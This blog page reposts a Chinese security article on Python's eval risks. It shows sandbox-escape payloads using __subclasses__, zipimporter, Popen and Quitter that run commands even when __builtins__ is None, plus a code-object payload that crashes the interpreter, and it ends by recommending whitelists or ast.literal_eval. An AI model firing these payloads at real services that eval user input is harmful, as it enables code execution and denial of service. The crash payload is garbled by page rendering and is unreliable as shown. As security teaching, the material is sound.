<!doctype html><html lang=cn-zh><head><meta charset=UTF-8><meta name=viewport content="width=device-width,initial-scale=1"><meta http-equiv=X-UA-Compatible content="IE=edge"><style type=text/css>body{font-family:monospace}</style><title>[转]Python中eval的强大与潜在风险</title>
<meta name=description content="A blog maintained by Vimiix."><link rel=stylesheet href=/css/style.css><script>var _hmt=_hmt||[];(function(){var e,t=document.createElement("script");t.src="https://hm.baidu.com/hm.js?7c24231917964240bae97e813810620c",e=document.getElementsByTagName("script")[0],e.parentNode.insertBefore(t,e)})()</script></head><body><header>====================<br>== Hi, I'm Vimiix ==<br>====================<div style=float:right;color:gray;font-size:x-large>Get hands dirty.</div><br><p><nav><a href=https://www.vimiix.com/><b>首页</b></a>.
<a href=/posts/><b>文章列表</b></a>.
<a href=/projects/><b>开源项目</b></a>.
<a href=/tags/><b>标签</b></a>.
<a href=/friends/><b>友链</b></a>.
<a href=/about/><b>关于我</b></a>.
<a href=/index.xml><b>RSS</b></a>.</nav></p></header><main><article><h1>[转]Python中eval的强大与潜在风险</h1><b><time>2017.05.04 23:57</time></b>
<a href=/tags/python>Python</a>
<a href=/tags/eval>eval</a><div><p><figure><img src=https://static.vimiix.com/uPic/2021-04-06/6uAb3W.jpg alt></figure></p><p>这两天在做项目的过程中，遇到 eval 这个方法，不是很会用，经过一番搜索学习，特此收藏一篇乌云网深度好文，以备以后回顾。</p><p>原文出处：<a href=http://drops.wooyun.org/tips/7710>WooYun - 隐形人真忙</a></p><h1 id=0x00-前言>0x00 前言</h1><p>eval 是 Python 用于执行 python 表达式的一个内置函数，使用 eval，可以很方便的将字符串动态执行。比如下列代码：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#34;1+2&#34;</span>)
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>3</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#34;[x for x in range(10)]&#34;</span>)
</span></span><span style=display:flex><span>	[<span style=color:#ae81ff>0</span>, <span style=color:#ae81ff>1</span>, <span style=color:#ae81ff>2</span>, <span style=color:#ae81ff>3</span>, <span style=color:#ae81ff>4</span>, <span style=color:#ae81ff>5</span>, <span style=color:#ae81ff>6</span>, <span style=color:#ae81ff>7</span>, <span style=color:#ae81ff>8</span>, <span style=color:#ae81ff>9</span>]
</span></span></code></pre></div><p>当内存中的内置模块含有 os 的话，eval 同样可以做到命令执行：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#f92672>import</span> os
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#34;os.system(&#39;whoami&#39;)&#34;</span>)
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span></code></pre></div><p>当然，eval 只能执行 Python 的表达式类型的代码，不能直接用它进行 import 操作，但 exec 可以。如果非要使用 eval 进行 import，则使用<strong>import</strong>：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> exec(<span style=color:#e6db74>&#39;import os&#39;</span>)
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;import os&#39;</span>)
</span></span><span style=display:flex><span>	Traceback (most recent call last):
</span></span><span style=display:flex><span>	  File <span style=color:#e6db74>&#34;&#34;</span>, line <span style=color:#ae81ff>1</span>, <span style=color:#f92672>in</span>
</span></span><span style=display:flex><span>	  File <span style=color:#e6db74>&#34;&#34;</span>, line <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span>	    <span style=color:#f92672>import</span> os
</span></span><span style=display:flex><span>	         <span style=color:#f92672>^</span>
</span></span><span style=display:flex><span>	<span style=color:#a6e22e>SyntaxError</span>: invalid syntax
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#34;__import__(&#39;os&#39;).system(&#39;whoami&#39;)&#34;</span>)
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span></code></pre></div><p>在实际的代码中，往往有使用客户端数据带入 eval 中执行的需求。比如动态模块的引入，举个栗子，一个在线爬虫平台上爬虫可能有多个并且位于不同的模块中，服务器端但往往只需要调用用户在客户端选择的爬虫类型，并通过后端的 exec 或者 eval 进行动态调用，后端编码实现非常方便。但如果对用户的请求处理不恰当，就会造成严重的安全漏洞。</p><h1 id=0x01-安全使用-eval>0x01 “安全”使用 eval</h1><p>现在提倡最多的就是使用 eval 的后两个参数来设置函数的白名单：</p><p>Eval 函数的声明为 eval(expression[, globals[, locals]])</p><p>其中，第二三个参数分别指定能够在 eval 中使用的函数等，如果不指定，默认为 globals()和 locals()函数中 包含的模块和函数。</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#f92672>import</span> os
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#e6db74>&#39;os&#39;</span> <span style=color:#f92672>in</span> globals()
</span></span><span style=display:flex><span>	<span style=color:#66d9ef>True</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;os.system(&#39;</span>whoami<span style=color:#e6db74>&#39;)&#39;</span>)
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;os.system(&#39;</span>whoami<span style=color:#e6db74>&#39;)&#39;</span>,{},{})
</span></span><span style=display:flex><span>	Traceback (most recent call last):
</span></span><span style=display:flex><span>	  File <span style=color:#e6db74>&#34;&#34;</span>, line <span style=color:#ae81ff>1</span>, <span style=color:#f92672>in</span>
</span></span><span style=display:flex><span>	  File <span style=color:#e6db74>&#34;&#34;</span>, line <span style=color:#ae81ff>1</span>, <span style=color:#f92672>in</span>
</span></span><span style=display:flex><span>	<span style=color:#a6e22e>NameError</span>: name <span style=color:#e6db74>&#39;os&#39;</span> <span style=color:#f92672>is</span> <span style=color:#f92672>not</span> defined
</span></span></code></pre></div><p>如果指定只允许调用 abs 函数，可以使用下面的写法：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;abs(-20)&#39;</span>,{<span style=color:#e6db74>&#39;abs&#39;</span>:abs},{<span style=color:#e6db74>&#39;abs&#39;</span>:abs})
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>20</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;os.system(&#39;</span>whoami<span style=color:#e6db74>&#39;)&#39;</span>,{<span style=color:#e6db74>&#39;abs&#39;</span>:abs},{<span style=color:#e6db74>&#39;abs&#39;</span>:abs})
</span></span><span style=display:flex><span>	Traceback (most recent call last):
</span></span><span style=display:flex><span>	  File <span style=color:#e6db74>&#34;&#34;</span>, line <span style=color:#ae81ff>1</span>, <span style=color:#f92672>in</span>
</span></span><span style=display:flex><span>	  File <span style=color:#e6db74>&#34;&#34;</span>, line <span style=color:#ae81ff>1</span>, <span style=color:#f92672>in</span>
</span></span><span style=display:flex><span>	<span style=color:#a6e22e>NameError</span>: name <span style=color:#e6db74>&#39;os&#39;</span> <span style=color:#f92672>is</span> <span style=color:#f92672>not</span> defined
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;os.system(&#39;</span>whoami<span style=color:#e6db74>&#39;)&#39;</span>)
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span></code></pre></div><p>使用这种方法来防护，确实可以起到一定的作用，但是，这种处理方法可能会被绕过，从而造成其他问题！</p><h1 id=0x02-绕过执行代码-1>0x02 绕过执行代码 1</h1><p>被绕过的情景如下，小明知道了 eval 会带来一定的安全风险，所以使用如下的手段去防止 eval 执行任意代码：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	env <span style=color:#f92672>=</span> {}
</span></span><span style=display:flex><span>	env[<span style=color:#e6db74>&#34;locals&#34;</span>]   <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	env[<span style=color:#e6db74>&#34;globals&#34;</span>]  <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	env[<span style=color:#e6db74>&#34;__name__&#34;</span>] <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	env[<span style=color:#e6db74>&#34;__file__&#34;</span>] <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	env[<span style=color:#e6db74>&#34;__builtins__&#34;</span>] <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>	eval(users_str, env)
</span></span></code></pre></div><p>Python 中的<strong>builtins</strong>是内置模块，用来设置内置函数的模块。比如熟悉的 abs，open 等内置函数，都是在该模块中以字典的方式存储的，下面两种写法是等价的：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> __builtins__<span style=color:#f92672>.</span>abs(<span style=color:#f92672>-</span><span style=color:#ae81ff>20</span>)
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>20</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> abs(<span style=color:#f92672>-</span><span style=color:#ae81ff>20</span>)
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>20</span>
</span></span></code></pre></div><p>我们也可以自定义内置函数，并像使用 Python 中的内置函数一样使用它们：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#66d9ef>def</span> <span style=color:#a6e22e>hello</span>():
</span></span><span style=display:flex><span>	<span style=color:#f92672>...</span>     print <span style=color:#e6db74>&#39;shabi&#39;</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> __builtin__<span style=color:#f92672>.</span>__dict__[<span style=color:#e6db74>&#39;say_hello&#39;</span>] <span style=color:#f92672>=</span> hello
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> say_hello()
</span></span><span style=display:flex><span>	shabi
</span></span></code></pre></div><p>小明将 eval 函数的作用域中的内置模块设置为 None，好像看起来很彻底了，但依然可以被绕过。<strong>builtins</strong>是<strong>builtin</strong>的一个引用，在<strong>main</strong>模块下，两者是等价的：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> id(__builtins__)
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>3549136</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> id(__builtin__)
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>3549136</span>
</span></span></code></pre></div><p>根据<a href=http://drops.wooyun.org/web/7490>乌云 drops</a>提到的方法，使用如下代码即可：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	[x <span style=color:#66d9ef>for</span> x <span style=color:#f92672>in</span> ()<span style=color:#f92672>.</span>__class__<span style=color:#f92672>.</span>__bases__[<span style=color:#ae81ff>0</span>]<span style=color:#f92672>.</span>__subclasses__() <span style=color:#66d9ef>if</span> x<span style=color:#f92672>.</span>__name__ <span style=color:#f92672>==</span> <span style=color:#e6db74>&#34;zipimporter&#34;</span>][<span style=color:#ae81ff>0</span>](<span style=color:#e6db74>&#34;/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg&#34;</span>)<span style=color:#f92672>.</span>load_module(<span style=color:#e6db74>&#34;configobj&#34;</span>)<span style=color:#f92672>.</span>os<span style=color:#f92672>.</span>system(<span style=color:#e6db74>&#34;uname&#34;</span>)
</span></span></code></pre></div><p>上面的代码首先利用<strong>class</strong>和<strong>subclasses</strong>动态加载了 object 对象，这是因为 eval 中无法直接使用 object。然后使用 object 的子类的 zipimporter 对 egg 压缩文件中的 configobj 模块进行导入，并调用其内置模块中的 os 模块从而实现命令执行，当然，前提是要有 configobj 的 egg 文件。 configobj 模块很有意思，居然内置了 os 模块：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#e6db74>&#34;os&#34;</span> <span style=color:#f92672>in</span> configobj<span style=color:#f92672>.</span>__dict__
</span></span><span style=display:flex><span>	<span style=color:#66d9ef>True</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#f92672>import</span> urllib
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#e6db74>&#34;os&#34;</span> <span style=color:#f92672>in</span> urllib<span style=color:#f92672>.</span>__dict__
</span></span><span style=display:flex><span>	<span style=color:#66d9ef>True</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#f92672>import</span> urllib2
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#e6db74>&#34;os&#34;</span> <span style=color:#f92672>in</span> urllib2<span style=color:#f92672>.</span>__dict__
</span></span><span style=display:flex><span>	<span style=color:#66d9ef>True</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> configobj<span style=color:#f92672>.</span>os<span style=color:#f92672>.</span>system(<span style=color:#e6db74>&#34;whoami&#34;</span>)
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span></code></pre></div><p>和 configobj 类似的模块如 urllib，urllib2，setuptools 等都有 os 的内置，理论上使用哪个都行。 如果无法下载 egg 压缩文件，可以下载带有 setup.py 的文件夹，加入：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>from</span> setuptools <span style=color:#f92672>import</span> setup, find_packages
</span></span></code></pre></div><p>就可以在 dist 文件夹中找到对应的 egg 文件。 绕过 demo 如下：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> env <span style=color:#f92672>=</span> {}
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> env[<span style=color:#e6db74>&#34;locals&#34;</span>]   <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> env[<span style=color:#e6db74>&#34;globals&#34;</span>]  <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> env[<span style=color:#e6db74>&#34;__name__&#34;</span>] <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> env[<span style=color:#e6db74>&#34;__file__&#34;</span>] <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> env[<span style=color:#e6db74>&#34;__builtins__&#34;</span>] <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> users_str <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == &#39;zipimporter&#39;][0](&#39;E:/internships/configobj-5.0.5-py2.7.egg&#39;).load_module(&#39;configobj&#39;).os.system(&#39;whoami&#39;)&#34;</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(users_str, env)
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(users_str, {}, {})
</span></span><span style=display:flex><span>	win<span style=color:#f92672>-</span><span style=color:#ae81ff>20140812</span>chjadministrator
</span></span><span style=display:flex><span>	<span style=color:#ae81ff>0</span>
</span></span></code></pre></div><h1 id=0x03-拒绝服务攻击-1>0x03 拒绝服务攻击 1</h1><p>object 的子类中有很多有趣的东西，执行以下代码查看：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	[x<span style=color:#f92672>.</span>__name__ <span style=color:#66d9ef>for</span> x <span style=color:#f92672>in</span> ()<span style=color:#f92672>.</span>__class__<span style=color:#f92672>.</span>__bases__[<span style=color:#ae81ff>0</span>]<span style=color:#f92672>.</span>__subclasses__()]
</span></span></code></pre></div><p>这里我就不输出结果了，如果你执行的话，可以看到很多有趣的模块，比如 file，zipimporter，Quitter 等。经过测试，file 的构造函数是被解释器沙箱隔离的。 简单的，或者直接使 object 暴露出的子类 Quitter 进行退出：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#34;[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__</span>
</span></span><span style=display:flex><span>	 <span style=color:#f92672>==</span> <span style=color:#e6db74>&#39;Quitter&#39;</span>][<span style=color:#ae81ff>0</span>](<span style=color:#ae81ff>0</span>)()<span style=color:#e6db74>&#34;, {&#39;__builtins__&#39;:None})</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>	C:<span style=color:#f92672>/&gt;</span>
</span></span></code></pre></div><p>如果运气好，遇到对方程序中导入了 os 等敏感模块，那么 Popen 就可以用，并且绕过<strong>builins</strong>为空的限制，栗子如下：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> <span style=color:#f92672>import</span> subprocess
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#34;[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == &#39;Popen&#39;][0]([&#39;ping&#39;,&#39;-n&#39;,&#39;1&#39;,&#39;127.0.0.1&#39;])&#34;</span>,{<span style=color:#e6db74>&#39;__builtins__&#39;</span>:<span style=color:#66d9ef>None</span>})
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span>
</span></span><span style=display:flex><span>	正在 Ping <span style=color:#ae81ff>127.0.0.1</span> 具有 <span style=color:#ae81ff>32</span> 字节的数据:
</span></span><span style=display:flex><span>	来自 <span style=color:#ae81ff>127.0.0.1</span> 的回复: 字节<span style=color:#f92672>=</span><span style=color:#ae81ff>32</span> 时间<span style=color:#f92672>&gt;&gt;</span>
</span></span></code></pre></div><p>事实上，这种情况非常多，比如导入 os 模块，一般用来处理路径问题。所以说，遇到这种情况，完全可以列举大量的功能函数，来探测目标 object 的子类中是否含有一些危险的函数可以直接使用。</p><h1 id=0x04-拒绝服务攻击-2>0x04 拒绝服务攻击 2</h1><p>同样，我们甚至可以绕过<strong>builtins</strong>为 None，造成一次拒绝服务攻击，Payload(来自老外 blog)如下：</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-Python data-lang=Python><span style=display:flex><span>	<span style=color:#75715e>#!python</span>
</span></span><span style=display:flex><span>	<span style=color:#f92672>&gt;&gt;&gt;</span> eval(<span style=color:#e6db74>&#39;(lambda fc=(lambda n: [c 1=&#34;c&#34; 2=&#34;in&#34; 3=&#34;().__class__.__bases__[0&#34; language=&#34;for&#34;][/c].__subclasses__() if c.__name__ == n][0]):fc(&#34;function&#34;)(fc(&#34;code&#34;)(0,0,0,0,&#34;KABOOM&#34;,(),(),(),&#34;&#34;,&#34;&#34;,0,&#34;&#34;),</span><span style=color:#e6db74>{}</span><span style=color:#e6db74>)())()&#39;</span>, {<span style=color:#e6db74>&#34;__builtins__&#34;</span>:<span style=color:#66d9ef>None</span>})
</span></span></code></pre></div><p>运行上面的代码，Python 直接 crash 掉了，造成拒绝服务攻击。 原理是通过嵌套的 lambda 来构造一片代码段，即 code 对象。为这个 code 对象分配空的栈，并给出相应的代码字符串，这里是 KABOOM，在空栈上执行代码，会出现 crash。构造完成后，调用 fc 函数即可触发，其思路不可谓不淫荡。</p><h1 id=0x05-总结>0x05 总结</h1><p>从上面的内容我们可以看出，单单将内置模块置为空，是不够的，最好的机制是构造白名单，如果觉得比较麻烦，可以使用 ast.literal_eval 代替不安全的 eval。</p><h2 id=参考资料>参考资料：</h2><ul><li>【1】http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html</li><li>【2】http://drops.wooyun.org/web/7490</li><li>【3】http://stackoverflow.com/questions/3513292/python-make-eval-safe</li></ul></div></article></main><aside><div><div><h3>LATEST POSTS</h3></div><div><ul><li><a href=/posts/2025-10-16-kubernetes-apiserver-authorization-mechanism/>Kubernetes APIServer 鉴权机制</a></li><li><a href=/posts/2025-09-30-kubernetes-apiserver-authentication-mechanism/>Kubernetes APIServer 认证机制</a></li><li><a href=/posts/2024-12-16-deploy-kubernetes-by-kubeadm/>使用 kubeadm 搭建 kubernetes 集群</a></li><li><a href=/posts/2024-09-20-how-to-code-review/>如何做code review</a></li><li><a href=/posts/2024-08-12-weakref-in-python/>Python中的弱引用</a></li></ul></div></div></aside><footer><p>Social Links:
<a href=https://github.com/vimiix><b>Github</b></a>.
<a href=https://www.douban.com/people/vimiix/><b>Douban</b></a>.
<a href=mailto:i@vimiix.com><b>Email</b></a>.<br><hr>&copy; 2017-2025
Vimiix Yao; All rights reserved.
<a href=https://beian.miit.gov.cn/>京ICP备19015214号-1</a></p><script src=https://l2dwidget.js.org/lib/L2Dwidget.min.js></script><script>L2Dwidget.init({model:{jsonPath:"https://unpkg.com/live2d-widget-model-tororo@1.0.5/assets/tororo.model.json"}})</script></footer></body></html>